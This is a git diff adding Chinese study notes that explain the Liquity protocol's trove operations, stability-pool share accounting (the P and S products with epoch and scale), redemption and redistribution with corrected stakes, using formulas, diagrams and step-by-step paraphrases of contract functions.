+第十五步：检查调整后的trove状态，即ICR满足当前模式的要求，即recoveryMode ICR>CCR, 非recoveryMode，ICR>MCR
+第十六步：当调仓是债务偿还，检查用户是否拥有足够的LUSD
+第十七步：更新Trovemanager中该trove的状态
+第十八步：更新Trovemanager中totalStake的数量
+第十九步：计算该Trove的新NICR
+第二十步：把该Trove根据新的NICR重新插入到链表里
+第二十一步：把相应的ETH和LUSD进行转账
+```
+第三步：平仓
+
+```jsx
+Function: closeTrove()
+
+MethodID: 0x0e704d50
+```
+
+closeTrove与adjustTrove的区别在于，closeTrove可以把这个Trove中的所有债务全部偿还完毕，但是adjustTrove要求一个trove中必须至少有2000刀的债务，不允许adjust。
+
+```jsx
+function closeTrove() external override {
+第一步：检查待关闭的Trove是活跃状态
+第二步：从预言机中拿到ETH的价格
+第三步：要求该ETH价格下的整个系统不处于RecoveryMode
+第四步：调用troveManager给该Trove分发奖励
+第五步：拿到该trove中剩余的抵押品
+第六步：拿到该trove中剩余的债务
+第七步：要求该用户名下有足够的LUSD用于支付债务，债务扣除200U的gas费用后
+第八步：计算系统新的TCR
+第九步：要求系统的新的TCR>CCR
+第十步：从troveManager中移除该trove的质押
+第十一步：从troveManger中关闭该Trove
+第十二步：从msg.sender中移除debt-gas部分的LUSD，并将其销毁
+第十三步：从gasPool中移除200U的gas部分LUSD，并将其销毁
+第十四步：从activePool中，转账ETH到msg.sender里。
+```
+
+### Stable Pool Share 分发算法
+
+要解决的问题：
+在stable pool中，用户向stable pool中deposit LUSD，然后获得一定的份额。由于stable pool设计的机制，其池子中的LUSD会用于清算Trove，从而会导致Stable pool里的LUSD减少，清算时获得的ETH增多。需要设计一个合理的机制，让stable pool的储户来公平分配ETH，公平承担LUSD减少。
+算法推导及设计：
+
+$$
+\begin{align*}
+d_i &:\text {用户在第i次清算前的存款LUSD}\\
+Q_i &:\text {第i次清算时使用的LUSD数量}\\
+E_i &:\text {第i次清算时获利的ETH数量}\\
+D_i &:\text {第i次清算前stable Pool中LUSD的总量}
+\end{align*}
+$$
+
+首先考虑LUSD的扣款：
+
+用户alice在第0次清算后，alice的LUSD余额应该为：
+
+$$
+\begin{align*}
+d_1 & = d_0-LUSD_{loss}\\
+LUSD_{loss} & = Q_1\times \frac{d_0}{D_0} \\
+d_1 &= d_0\times(1-\frac{Q_1}{D_0} )\\
+d_2 &= d_1\times(1-\frac{Q_2}{D_1} )\\
+&\cdots \\
+d_n &= d_{n-1}\times(1-\frac{Q_n}{D_{n-1}} )\\
+\frac{d_n}{d_{n-1}} &=  1-\frac{Q_n}{D_{n-1}} \\
+&=> \\
+\frac{d_n}{d_0} &= \prod_{i=1}^{n} (1-\frac{Q_i}{D_{i-1}}) &\text{要求：}1>\frac{Q_i}{D_{i-1}}
+\end{align*}
+$$
+
+则从上述公式推导来看，只需要在全局变量中维护一个P值，该P值为一个联乘的值。即：
+
+$$
+P_n =  \prod_{i=1}^{n} (1-\frac{Q_i}{D_{i-1}})
+$$
+
+对于任意一次清算i，其Qi和Di-1均是一个确定的值，故，任意一次清算的Pi值都是一个可计算的值。
+
+然后再考虑ETH的分发：
+
+对于一个用户alice，其在第i次清算后，其能获得的ETH累计收益为：
+
+$$
+\begin{align*}e_1 & = \frac{d_0}{D_0} \times E_1 \\
+  e_2 & = e_1 +\frac{d_1}{D_1} \times E_2 \\
+  &\cdots \\ 
+  e_n & = e_{n-1} + \frac{d_{n-1}}{D_{n-1}}\times E_n \\
+  &=> \\ 
+  e_n &= \sum_{i=1}^{n}(\frac{d_{i-1}}{D_{i-1}}\times E_i) \\
+  d_{i-1} &= d_0 \times \frac{P_{i-1}}{P_0}  \\
+  P_0 &= 1   \\
+  &=>\\ 
+  e_n &= d_0\times \sum_{i=1}^{n} (\frac{E_i}{D_{i-1}} \times P_{i-1}) \\
+  \frac{e_n}{d_0} &=  \sum_{i=1}^{n} (\frac{E_i}{D_{i-1}} \times P_{i-1}) \\ 
+\end{align*}
+$$
+
+故记录一个全局变量S，用于记录从最初一次清算前，单位储蓄所能获得的累计ETH收益之和，记为：
+
+$$
+S_n=  \sum_{i=1}^{n} (\frac{E_i}{D_{i-1}} \times P_{i-1})
+$$
+
+则某个用户在第t次清算前存钱，第n次清算前取钱，则该用户应得的ETH奖励为：
+
+$$
+e_{t}^{n}=\frac{d_t}{P_t}\times (S_n-S_t) 
+$$
+
+需要解决的两个问题：
+
+1. P值是一个联乘的值，每一次相乘都是乘上一个小于1的数，会导致P值越来越小。而solidity中，无法精确表达一个无限小的数。
+2. P值在计算时做了一个假设：Di-1 > Qi, 即每次清算的时候，稳定池里都有足够的钱用于清算。没有考虑到，如果稳定池中的钱不够的情况，即一次就把稳定池里的所有LUSD全部用完，这时 D = Q，P = 0. 如果P = 0，则后续所有的联乘的值都为0.
+
+问题1的解决方案：
+
+如何表示一个无限小的小数？可以让P值在小于某个值的时候，将其放大一定的倍数，然后在系统里记录下放大的倍数就行。
+
+在liquity中，如果P值小于1e-9, 则会首先给P值乘上1e9,然后记录一个scale factor即可。
+
+为什么选取1e9作为放大倍数，而不是1e18作为放大倍数呢？原因在于1e9保证了可忽略的精度损失接近于放大倍数边界。即P值的最小值是1e9，而P值的相对精度损失则是1e-9
+
+问题2的解决方案：
+
+如果清算时，稳定池的LUSD全部用完，此时D=Q，这属于一个特殊情况。需要设置P值为1，而不是0. liquity中采取记录一个epoch的方式，即每次稳定池的LUSD全部用完时，其记录一个epoch，并将P值重置，S值也重置。将epoch之前的值通过snapshot的方式记录下来。
+
+$$
+P_n = \begin{cases} \prod_{i=1}^{n} (1-\frac{Q_i}{D_{i-1}}) & \text{ if } D_{i-1} < Q_i \\ 
+  1 & \text{ if } D_{i-1} = Q_i 
+\end{cases}
+$$
+
+针对问题2，采取Epoch的方式，存在如下几种情况：
+
+针对deposit，其LUSD剩余值dn应该为：
+
+当每次deposit时，都会给一个snapshot：P值，S值，currentEpoch，currentScale等
+
+$$
+d_n = \begin{cases} 0 & Epoch_{current} > Epoch_{snapshot} \\
+  d_t \times \frac{P}{P_t} & Epoch_{current} = Epoch_{snapshot},Scale_{current}=Scale_{snampshot} \\
+  d_t \times \frac{P}{P_t} / 1e^9 & Epoch_{current} = Epoch_{snapshot},Scale_{current}=Scale_{snampshot}+1 \\
+  0 & Epoch_{current} = Epoch_{snapshot},Scale_{current}>Scale_{snampshot}+1 \\
+\end{cases}
+$$
+
+针对withdraw，其ETH获得值 e_{t}^{n} 应该为：
+
+$$
+e_{t}^{n}=
+\begin{cases}
+\frac{d_t}{P_t}\times (S_n-S_t)   & Epoch_{n}=Epoch_{t},Scale_n=Scale_t \\
+\frac{d_t}{P_t}\times (S_{scale=t}-S_t) + \frac{d_t}{P_t \times 1e9}\times (S_{scale=n}-0) & Epoch_{n}=Epoch_{t},Scale_n=Scale_t+1 \\
+\frac{d_t}{P_t}\times (S_{epoch}-S_t) & Epoch_{n}=Epoch_{t}+1,Scale_n=Scale_t \\
+\end{cases}
+$$
+
+针对liquidity清算操作，其数据更新为：
+
+$$
+P_n =  
+\begin{cases}
+\prod_{i=1}^{n} (1-\frac{Q_i}{D_{i-1}}) & & \text{ if } D_{i-1}<Q_i,P_i > 1e9 \\
+\prod_{i=1}^{n} (1-\frac{Q_i}{D_{i-1}})*1e9,& Scale_{i}=Scale_{i-1}+1  & \text{ if } D_{i-1} < Q_i,P_i < 1e9 \\
+ 1,&Epoch_{i} = Epoch_{i-1}+1 & \text{ if } D_{i-1} = Q_i
+\end{cases}
+$$
+
+$$
+S_n = \begin{cases}\sum_{i=1}^{n} (\frac{E_i}{D_{i-1}} \times P_{i-1})  &  ,Epoch_{i} = Epoch_{i-1} \\
+0  &  ,Epoch_i = Epoch_{i-1}+1 \\
+\end{cases}
+$$
+
+### 代码实现部分
+
+首先是全局变量的设计：
+针对每一个用户，其设计了两个结构体，分别是：
+
+```jsx
+struct Deposit {
+	uint initialValue;
+	address frontEndTag;
+}
+struct Snapshots {
+	uint S;
+	uint P;
+	uint G; //用于分发LQTY代币
+	uint128 scale;
+	uint128 epoch;
+}
+mapping (address => Deposit) public deposits;  // depositor address -> Deposit struct
+mapping (address => Snapshots) public depositSnapshots;  // depositor address -> snapshots struct
+```
+
+针对S，由于S跟epoch相关，也跟Scale相关，故其设计了一个netsted map，
+
+```jsx
+mapping(uint128=>mapping(uint128=>uint)) public epochToScaleToSum;
+内部map用于存放：scale=>s
+外部map用于存放：epoch=>(scale=>s)
+```
+
+定义了与P相关的全局变量：
+
+```jsx
+uint public P = DECIMAL_PRECISION;
+
+uint public constant SCALE_FACTOR = 1e9;
+
+    // Each time the scale of P shifts by SCALE_FACTOR, the scale is incremented by 1
+    uint128 public currentScale;
+
+    // With each offset that fully empties the Pool, the epoch is incremented by 1
+    uint128 public currentEpoch;
+```
+
+操作1: 给stable Pool存钱
+
+这里为了简化起见，忽略LQTY的分发和计算。忽略前端和用户的kickback。
+
+[https://versatile.blocksecteam.com/tx/eth/0x8a04c8e765aa0ff9012ecf0fbf0f2a24b05523d2c8cc5350f5dbad4e9eb7f91b](https://versatile.blocksecteam.com/tx/eth/0x8a04c8e765aa0ff9012ecf0fbf0f2a24b05523d2c8cc5350f5dbad4e9eb7f91b)
+
+```jsx
+Function: provideToSP(uint256 _amount, address _frontEndTag)
+
+MethodID: 0x5f788d65
+[0]:  0000000000000000000000000000000000000000000000171e6366514aefacbf
+[1]:  00000000000000000000000030e5d10dc30a0ce2545a4dbe8de4fcba590062c5
+```
+
+![](2023-03-16-10-05-39.png)
+
+这里的关键是：provideToSp中是如何计算P值，以及如何进行token transfer操作。
+
+帮助函数: getDepositorETHGain
+
+对应的公式为：
+
+$$
+e_{t}^{n}=
+\begin{cases}
+\frac{d_t}{P_t}\times (S_n-S_t+0/1e9)   & Epoch_{n}=Epoch_{t},Scale_n=Scale_t \\
+\frac{d_t}{P_t}\times (S_{scale=t}-S_t+S_{scale=t+1}/1e9) & Epoch_{n}=Epoch_{t},Scale_n>=Scale_t+1 \\
+\frac{d_t}{P_t}\times (S_{epoch}-S_t+0） & Epoch_{n}=Epoch_{t}+1,Scale_n=Scale_t \\
+\end{cases}
+$$
+
+```jsx
+getDepositorETHGain(address _depositor):
+第一步：从deposits中拿到该depositor对应的initialValue，即dt
+第二步：如果dt=0，则返回0
+第三步：从depositSnapshots中拿到该depositor对应的snapshot，即dt对应时刻的P，S，G，Scale，Epoch值
+第四步：调用_getETHGainFromSnapshots方法，拿到计算的ETH数量
+_getETHGainFromSnapshots(uint initialDeposit, Snapshots memory snapshots):
+第一步：从传入的snapshot中，拿到对应的epoch，scale，S_{snapshot}，P_{snapshot}等值
+第二步：根据epoch,scale等查出该epoch，scale下对应的S_{scale=t}的值，并用delatS = S_{scale=t} - S_{snapshot}
+第三步：从epochToScaleToSum中拿出epoch和scale+1对应的S_{scale=t+1}的值，deltaS2 = S_{scale=t+1} / 1e9
+第四步：根据dt*(S_{scale=t}-S_{snapshot}+S_{scale=t+1}/1e9)/P_{snapshot}/1e18得到最终的eth数量
+```
+
+帮助函数：getCompoundedLUSDDeposit
+
+对应的公式为：
+
+$$
+d_n=\begin{cases}0   &  Epoch_{current} > Epoch_{snapshot}   \\
+d_t \times \frac{P}{P_t}  & Epoch_{current} = Epoch_{snapshot},Scale_{current}=Scale_{snampshot}\\
+d_t \times \frac{P}{P_t}  / 1e^9 & Epoch_{current} = Epoch_{snapshot},Scale_{current}=Scale_{snampshot}+1\\
+0 & Epoch_{current} = Epoch_{snapshot},Scale_{current}>Scale_{snampshot}+1\\
+\end{cases}
+$$
+
+```jsx
+getCompoundedLUSDDeposit(address _depositor) d = d0 * P/P0
+第一步：从deposits中拿到该depositor对应的initialValue，即dt
+第二步：如果dt=0，则返回0
+第三步：从depositSnapshots中拿到该depositor对应的snapshot
+第四步：调用_getCompoundedStakeFromSnapshots计算应该返回的d的值
+_getCompoundedStakeFromSnapshots(uint initialStake,Snapshots memory snapshots)
+第一步：从传入的snapshot中，拿到对应的P，Scale，Epoch
+第二步：如果跨越了一个epoch，则剩余的LUSD数量为0，返回0
+第三步：计算出当前的scal与snapshot中scale的差值
+第四步：如果scalediff=0，说明在同一个scale中，则按照dt*P/Pt计算返回值
+第五步：如果scaleDiff=1，则说明跨越了一个scale，则按照dt*P/Pt/1e9计算返回值
+第六步：如果scaleDiff>1, 则说明跨越了多个scale，则直接返回0
+第七步：如果最后计算得到的返回值小于d0/1e9,即小于了最小精度，则直接返回0
+```
+
+帮助函数：_updateDepositAndSnapshots
+
+该函数的主要作用是在provide和withdraw的操作中，更新用户的dt和对应的snapshot状态。该函数只在provide的时候和withdraw的时候调用。
+
+```jsx
+_updateDepositAndSnapshots(address _depositor, uint _newValue)：
+第一步：首先将deposits中该depositor的initialValue更新为newValue，即更新dt
+第二步：如果dt=0，则删除deposits中该depositor。注意这里不能直接delete deposits[_depositor].
+原因是如果直接delete，还会剩下该mapping对应的结构体信息在区块链中。
+只能是delete deposits[_depositor].frontEndTag。和 delete deposits[_depositor].initalValue;
+然后是删除depositSnapshots[_depositor]
+第三步：拿到当前的scale，epoch, P
+第四步：根据当前的scale，epoch，P值拿到对应的S，G值
+第五步：更新depositSnapshots中该depositor的p,s,g,scale,epoch值
+```
+
+帮助函数：_computeRewardsPerUnitStaked
+
+该函数的主要作用是计算每单位需要消耗的LUSD和每单位预期获得的ETH奖励，函数里面有先➗后✖️
+
+$$
+LUSD_{loss}=\frac{Q_i}{D_{i-1}} \\
+ETH_{gain}=\frac{E_i}{D_{i-1}}
+$$
+
+```jsx
+function _computeRewardsPerUnitStaked(
+        uint _collToAdd, //预期获得的ETH数量
+        uint _debtToOffset, //预期消耗的LUSD数量
+        uint _totalLUSDDeposits //池子里总共的LUSD数量
+    )
+第一步：考虑精度的情况下计算分子ETH：ethNumerator=coll*1e18+errorColl
+第二步：要求预期消耗的LUSD数量不能超过池子里总共的LUSD数量
+第三步：如果预期消耗的LUSD数量等于池子里总共的LUSD数量，即稳定池被榨干，则设定每一个depositor的LUSD loss=100%
+第四步：如果没有被榨干，则LUSDlossNumerator=debt*1e18-errorDebt,则LUSDLossPerStake=
+
+```
+
+帮助函数：_updateRewardSumAndProduct
+
+主要作用是更新P值和S值
+
+$$
+P_n = \begin{cases}
+\prod_{i=1}^{n} (1-\frac{Q_i}{D_{i-1}}) & & \text{ if } D_{i-1} < Q_i , P_i > 1e9 \\
+\prod_{i=1}^{n} (1-\frac{Q_i}{D_{i-1}})*1e9, & Scale_{i} = Scale_{i-1}+1  & \text{ if } D_{i-1} < Q_i, P_i < 1e9 \\
+ 1,& Epoch_{i} = Epoch_{i-1}+1 & \text{ if } D_{i-1} = Q_i
+\end{cases}
+$$
+
+$$
+S_n = \begin{cases} \sum_{i=1}^{n} (\frac{E_i}{D_{i-1}} \times P_{i-1})  & , Epoch_{i}=Epoch_{i-1} \\
+0  & , Epoch_i=Epoch_{i-1}+1 \\
+\end{cases}
+$$
+
+Calculate the new S first, before we update P.
+* The ETH gain for any given depositor from a liquidation depends on the value of their deposit
+* (and the value of totalDeposits) prior to the Stability being depleted by the debt in the liquidation.
+* Since S corresponds to ETH gain, and P to deposit loss, we update S first.
+```js
+_updateRewardSumAndProduct(uint _ETHGainPerUnitStaked, uint _LUSDLossPerUnitStaked)：
+第一步：要求LUSD_loss <= 1
+第二步：deltaP = 1 - LUSD_loss
+第三步：记录下当前的scale，epoch，以及当前epoch，scale对应的S
+第四步：先计算S，然后在计算P. 因为S的计算公式里，需要P_{i-1}
+第四步：S = S + ETH_gain * P
+第五步：把S按照当前的epoch，scale写入mapping中
+第六步：判断deltaP,如果deltaP=0，说明全部稳定池被抽干，则epoch++，重置P=1，scale=0
+第七步：如果deltaP > 0, 说明需要继续联乘， P = P * deltaP。
+第八步：若联乘后的结果，即新P小于1e9，则 scale++， 并且 P = P * deltaP * 1e9
+第九步：如联乘后的记过，即新P大于1e9，则 P = P * deltaP
+```
diff --git a/defi/Liquity/share/share2.md b/defi/Liquity/share/share2.md
new file mode 100644
index 000000000..f32298acf
--- /dev/null
+++ b/defi/Liquity/share/share2.md
@@ -0,0 +1,787 @@
+# Liquity Share
+主要解决的问题如下：
+
+1. redeem中一个trove里剩余的ETH怎么办？是否可以将一个trove的debt降低到2000刀以下？
+- redeem 时允许redeem部分债务，但不允许把一个trove降低到2000刀一下。如果可以全部偿还，会把一个trove给close掉，把剩余的ETH打到surplusPool中让所有者自己去claim。
+2. Redeem时，是否可以选择性的去redeem某个或者某几个trove？
+- 不可以，但可以设置redeem的最大redeem的trove个数，以及如果需要partial redeem，需要传入partial redeem相关的参数，否则也是不允许partial redeem。
+3. redeem时，trove是如何排序？redeem完成后，trove又应该如何排序
+- redeem操作时，trove按照NICR从大到小的顺序排列。如果是全部清空了一个trove的债务，会把这个trove从list中删掉。如果部分偿还了一个trove，会把这个trove重新按照新的ICR插入。经过redeem后，保持NICR从大到小的排序
+4. redistribute过程中，是所有trove都参与还是部分参与
+- redistribute根据新的算法是所有的active trove都会参与。每一个active trove都会在default pool里面有pending reward
+5. 恢复模式时，针对110-150%的trove，其清算是部分清算还是全部清算
+- 如果稳定池的LUSD数量大于该trove的全部债务，则全部清算，并将剩余的ETH打到surplusPool，由owner自己去claim。如果稳定池的LUSD数量不足，则该trove不参与清算
+6. default pool作用
+- 用于存放redistribute过程中，被拆分的trove的ETH和LUSD债务。default Pool只在合约里面维护一个总的ETH数量和总的LUSD债务数量
+7. redistribute的算法以及流程
+- 如下
+8. 什么时候去更新链表顺序
+- 更新NICR的时候
+9. stake 和 collateral 的区别
+
+$$
+S_i = \begin{cases} c_i  & \text{ if } C_\phi = 0 \\ 
+  c_i \cdot \frac{S_\phi}{C_\phi} & \text{ if } C_\phi >0 
+\end{cases}
+$$
+
+
+
+### Redeem
+
+
+
+redeem时，只能redeem那些ICR≥MCR的trove，且当TCR≤MCR时，不允许redeem
+
+涉及到的公式：
+
+$$
+\left\{\begin{matrix}
+TCR>MCR  & \\
+ICR_{next}\ge ICR_{first} \ge MCR  >ICR_{lower} \\
+\end{matrix}\right.
+$$
+
+```jsx
+function redeemCollateral(
+        uint _LUSDamount,
+        address _firstRedemptionHint, //第一个redeem的trove
+        address _upperPartialRedemptionHint, 
+        address _lowerPartialRedemptionHint,
+        uint _partialRedemptionHintNICR,
+        uint _maxIterations, //遍历trove的个数
+        uint _maxFeePercentage
+    )
+第一步：检查_maxFeePercentage是否合法
+第二步：_requireAfterBootstrapPeriod，即要求redeem发生在LQTY部署后的14天后。
+第三步：拿到最新的ETH价格
+第四步：要求TCR>MCR,即如果TCR<=MCR时，无法redeem
+第五步：要求redeem的LUSD数量大于0
+第六步：要求msgSender有足够的LUSD余额
+第七步：拿到系统的总的LUSD债务
+第八步：要求msgSender的LUSD余额小于系统的总的LUSD债务
+第九步：如果提供了firstRedemptionHint，则检查其是否合法，如果没有提供，则从尾到头遍历sortedTroves，
+直到找到第一个ICR>=MCR的trove
+第十步：如果_maxIteration=0，则说明用户没有限制遍历的个数。
+第十一步：进入循环，遍历次数递减，找到第一个redeem的trove的prev。
+第十二步：首先给当前需要redeem的trove加上pending reward，即拿到该trove待分配的coll，debt
+第十三步：对当前trove进行redeem
+第十四步：如果单个trove的redeem结果返回值cancelledPartial为真，则跳出循环。
+说明部分redeem被取消，通常是过时的hint或者redeem后新的债务小于了min债务
+第十五步：将总共redeem的LUSD进行累加，总共redeem的ETH进行累加
+第十六步：从需要redeem的remainingLUSD中扣除掉redeem的LUSD，并进入下一个循环
+第十七步：要求经过redeem后的总的ETH数量大于0
+第十八步：计算redeem 费用
+第十九步：检查用户的_maxFeePercentage，要求redeem费用满足用户的要求
+第二十步：把ETH的redeem费用transfer到LQTY 的staking池中
+第二十一步：把剩余的ETH打给msgSender，burn掉用户账户中实际redeem的LUSD，降低activePool中LUSD的债务
+
+```
+
+帮助函数：_redeemCollateralFromTrove
+
+涉及到的公式：
+
+$$
+\begin{align*}
+LUSD_{lot} & = min(maxLUSD_{amount},LUSD_{debt}-gasFee)\\
+ETH_{lot} & = LUSD_{lot}\times Price\\
+newDebt&=LUSD_{debt}-LUSD_{lot}\\
+newColl&=coll-ETH_{lot}\\
+\end{align*}
+$$
+
+```mermaid
+flowchart TD
+    A[newDebt] --> B{newDebt==200};
+    B -->|Yes| C[closeTrove];
+    C --> D[removeStake];
+    D --> E[closeTrove];
+		E --> F[_redeemCloseTrove]
+    B -->|No| G{newDebt>=2000 & newNICR correct}
+		G --> |No|J[mark&return]
+		G --> |Yes| H[partial Redeem]
+		H --> I[reInsert Trove]
+		I --> K[updateStake]
+```
+
+```jsx
+_redeemCollateralFromTrove(
+        ContractsCache memory _contractsCache,
+        address _borrower,
+        uint _maxLUSDamount,
+        uint _price,
+        address _upperPartialRedemptionHint,
+        address _lowerPartialRedemptionHint,
+        uint _partialRedemptionHintNICR
+    )
+第一步：计算该trove中应该redeem的lUSD数量LUSDLot
+第二步：计算该trove中应该支出的ETH数量ETHLot
+第三步：计算该trove的新的债务，newDebt=debt-LUSDLot
+第四步：计算该trove的新的ETH, newCOll=coll-ETHLot
+第五步：如果新的债务=gasLUSD，则该池子的所有债务都被redeem了。该池子需要被close
+第六步：关闭该trove，首先remove该trove的stake，然后close该trove
+closeTrove中做的事情是：与BorrowOperation中不同的是，
+这里的closeTrove只将Troves中和rewardSnapshot中关于该trove的记账全部归0.
+并从sortedTrove链表里移除该Trove
+第七步：在close该trove后，需要从gasPool中burn掉200LUSD，并从activePool中减去200LUSD的债务。
+并把剩余的ETH打给CollSurplusPool，并在collSurplusPool中给该trove记账
+第八步：如果新的债务>gasLUSD,则该池子的债务会被部分redeem，并且该池子会按照新的NICR排序。
+第九步：首先计算部分redeem后，根据新的债务和Coll计算出道新的NICR
+第十步：如果新的NICR!=_partialRedemptionHintNICR || newDebt < MIN_NET_DEBT（2000$）
+则标记部分redeem失败，直接返回。
+第十一步：根据传入的_partialRedemptionHintNICR和上下hint，对该trove重新插入到sortedTroves链表中
+第十二步：更新Troves中该trove的债务和coll，更新该trove的新的stake
+
+```
+
+### Redistribute
+
+
+
+在清算时，会涉及到重分配债务的问题。
+
+作为liquity的两段式清算的重要一段：重分配债务，在liquity的清算中起着至关重要的作用。
+
+- 最为简单的O(n)复杂度想法：
+
+  每一次redistribute时，都按照ETH的比例来分配相应的reward。(reward 指的是将拆掉的trove中得到的ETH和相应的债务，按照剩余trove的ETH比例分配的基数)。由系统为每一个trove都去添加一下trove的奖励
+
+$$
+  (x_i,y_i) = (\frac{c_i}{C}\cdot c_k , \frac{c_i}{C}\cdot d_k)
+$$
+    
+  ICR定义为:
+    
+$$
+\gamma _i=\frac{c_i}{d_i} 
+$$
+    
+  需要保证的一个问题是：经过redistribute之后，剩余所有trove的顺序不能发生变化。
+    
+  证明如下：
+    
+  设 $\gamma _i，\gamma _j$ 分别是trove i，trove j的ICR，且：
+    
+$$
+\gamma _i>\gamma _j
+$$
+    
+  进行redistribute的时候，每个trove需要分配得到的reward是
+    
+$$
+\begin{align*}
+  (x_i,y_i) & = (\frac{c_i}{C}\cdot c_k,\frac{c_i}{C}\cdot d_k)\\
+  (x_j,y_j) & = (\frac{c_i}{C}\cdot c_k,\frac{c_i}{C}\cdot d_k)
+\end{align*}
+$$
+    
+  在得到分配的reward之后，新的ICR分别是：
+    
+$$
+\begin{align*}
+  \gamma _i^` & = \frac{c_i+x_i}{d_i+y_i} \\
+  \gamma _j^` & = \frac{c_j+x_j}{d_j+y_j} \\
+\end{align*}
+$$
+    
+  其中 $\gamma _i^`，\gamma _j^`$ 可以变形为：
+    
+$$
+  \begin{align*}
+  \gamma _i^` & = \frac{1+\frac{c_k}{C} }{\frac{d_i}{c_i}+\frac{d_k}{C}} \\
+  \gamma _j^` & = \frac{1+\frac{c_k}{C} }{\frac{d_j}{c_j}+\frac{d_k}{C}} \\
+  \end{align*}
+$$
+    
+  由于公式中， $\frac{c_k}{C} ，\frac{d_k}{C}$ 都是一个定值，且 $\gamma _i>\gamma _j$，所以新得到的 $\gamma _i^` > \gamma _j^`$. 故按照按比例分配reward的方式，可以保证trove在分配之后的顺序不变。
+    
+- 降低复杂度为O(1)的算法
+    
+    
+    > **Redistributions and Corrected Stakes**
+    > 
+    
+    > When a liquidation occurs and the Stability Pool is empty or smaller than the liquidated debt, the redistribution mechanism should distribute the remaining collateral and debt of the liquidated Trove, to all active Troves in the system, in proportion to their collateral.
+    > 
+    
+    > For two Troves A and B with collateral `A.coll > B.coll`, Trove A should earn a bigger share of the liquidated collateral and debt.
+    > 
+    
+    > In Liquity it is important that all active Troves remain ordered by their ICR. We have proven that redistribution of the liquidated debt and collateral proportional to active Troves’ collateral, preserves the ordering of active Troves by ICR, as liquidations occur over time. Please see the [proofs section](https://github.com/liquity/dev/tree/main/packages/contracts/mathProofs).
+    > 
+    
+    > However, when it comes to implementation, Ethereum gas costs make it too expensive to loop over all Troves and write new data to storage for each one. When a Trove receives redistribution rewards, the system does not update the Trove's collateral and debt properties - instead, the Trove’s rewards remain "pending" until the borrower's next operation.
+    > 
+    
+    > These “pending rewards” can not be accounted for in future reward calculations in a scalable way.
+    > 
+    
+    > However: the ICR of a Trove is always calculated as the ratio of its total collateral to its total debt. So, a Trove’s ICR calculation **does** include all its previous accumulated rewards.
+    > 
+    
+    > **This causes a problem: redistributions proportional to initial collateral can break trove ordering.**
+    > 
+    
+    > Consider the case where new Trove is created after all active Troves have received a redistribution from a liquidation. This “fresh” Trove has then experienced fewer rewards than the older Troves, and thus, it receives a disproportionate share of subsequent rewards, relative to its total collateral.
+    > 
+    
+    > The fresh trove would earns rewards based on its **entire** collateral, whereas old Troves would earn rewards based only on **some portion** of their collateral - since a part of their collateral is pending, and not included in the Trove’s `coll` property.
+    > 
+    
+    > This can break the ordering of Troves by ICR - see the [proofs section](https://github.com/liquity/dev/tree/main/packages/contracts/mathProofs).
+    > 
+    
+    > **Corrected Stake Solution**
+    > 
+    
+    > We use a corrected stake to account for this discrepancy, and ensure that newer Troves earn the same liquidation rewards per unit of total collateral, as do older Troves with pending rewards. Thus the corrected stake ensures the sorted list remains ordered by ICR, as liquidation events occur over time.
+    > 
+    
+    > When a Trove is opened, its stake is calculated based on its collateral, and snapshots of the entire system collateral and debt which were taken immediately after the last liquidation.
+    > 
+    
+    > A Trove’s stake is given by:
+    > 
+    
+    > `stake = _coll.mul(totalStakesSnapshot).div(totalCollateralSnapshot)`
+    > 
+    
+    > It then earns redistribution rewards based on this corrected stake. A newly opened Trove’s stake will be less than its raw collateral, if the system contains active Troves with pending redistribution rewards when it was made.
+    > 
+    
+    > Whenever a borrower adjusts their Trove’s collateral, their pending rewards are applied, and a fresh corrected stake is computed.
+    > 
+    
+    > To convince yourself this corrected stake preserves ordering of active Troves by ICR, please see the [proofs section](https://github.com/liquity/dev/blob/main/papers).
+    > 
+    
+    在理解该算法之前，需要先理解liquity中给存款人设定的两个概念：stake和collateral。
+    
+    stake的定义如下：
+    
+$$
+    S_i = \begin{cases} c_i  & \text{ if } C_\phi=0 \\
+    c_i \cdot \frac{S_\phi }{C_\phi }   & \text{ if } C_\phi > 0
+    \end{cases}
+$$
+    
+  从公式的定义中，可以看到，如果totalCollateralSnapshot=0时，stake就是collateral，即该trove中的ETH数值。如果totalCollateralSnapshot>0,则stake是collateral按照比例缩放得到的值。
+    
+  而totalCollateralSnapshot这个值在每一次系统进行清算时都会更新，其更新的逻辑为：
+    
+$$
+  C_\phi = ETH_{activePool}+ETH_{defaultPool}-ETH_{gas}
+$$
+    
+  这里需要减去ETH_gas的原因是：作为补偿的 ETH 必须排除在外，因为它总是在清算序列的最后发出.
+    
+  totalStakesSnapshot这个值的更新也在每一次系统进行清算时进行更新，其更新的逻辑为：
+    
+$$
+    S_\phi = \sum stake_i
+$$
+    
+  而stake的更新是清算，Redeem和remove stake中都会更新。
+    
+  liquity中，为了将redistribute过程的O(n)复杂度降低为O(1),其采取了类似于masterchef的思想，即维护一个全局变量，然后在需要redistribute的时候，计算一个全局的reward 参数，该reward中包含了此次redistribute的ETH和债务。
+    
+  即系统维护了一个全局变量 Qt：
+    
+$$
+  \begin{array}{c}\frac{R_t}{S_t} = \begin{bmatrix}\frac{c_k}{S_t}  , &\frac{d_k}{S_t} \end{bmatrix} \\
+    Q_t = \sum_{k = 0}^{t} \frac{R_t}{S_t}
+  \end{array}
+$$
+    
+  针对单个trove，其应该分配得到的reward为：
+    
+$$
+  r_i = s_i\times (Q-Q_{t1})
+$$
+    
+
+涉及到的方法有：
+
+*redistributeDebtAndColl: 该方法中根据重分配的Coll和debt更新了全局变量Q_t, 并将重分配的ETH和LUSD 债务转移到default pool中*
+
+该方法由系统每次清算时，自动出发。
+
+该方法涉及到的公式为：
+
+$$
+\begin{array}{c}
+(x_i,y_i)=(\frac{c_i}{C}\cdot c_k,\frac{c_i}{C}\cdot d_k) \\
+\frac{R_t}{S_t} = \begin{bmatrix}\frac{c_k}{S_t}  , &\frac{d_k}{S_t} \end{bmatrix} \\
+r_i = s_i\times \frac{R_t}{S_t} \\
+Q_t = \sum_{k = 0}^{t}\frac{R_t}{S_t}
+\end{array}
+$$
+
+涉及到的Token transfer为
+
+```mermaid
+flowchart LR
+    id1[(active pool)]
+		id2[(default pool)]
+		id1 --Redistribute ETH--> id2
+		id1 --Redistribute LUSD debt--> id2
+```
+
+```jsx
+_redistributeDebtAndColl(IActivePool _activePool, IDefaultPool _defaultPool, uint _debt, uint _coll)
+第一步：如果debt为0，则直接返回
+第二步：拿到此次需要重分配的ETH和债务LUSD数量
+第三步：计算ETHRewardPerUnitStaked和LUSDDebtRewardPerUnitStaked,即c_k/S_t,d_k/S_t
+第四步：将ETHRewardPerUnitStaked累加到L_ETH中
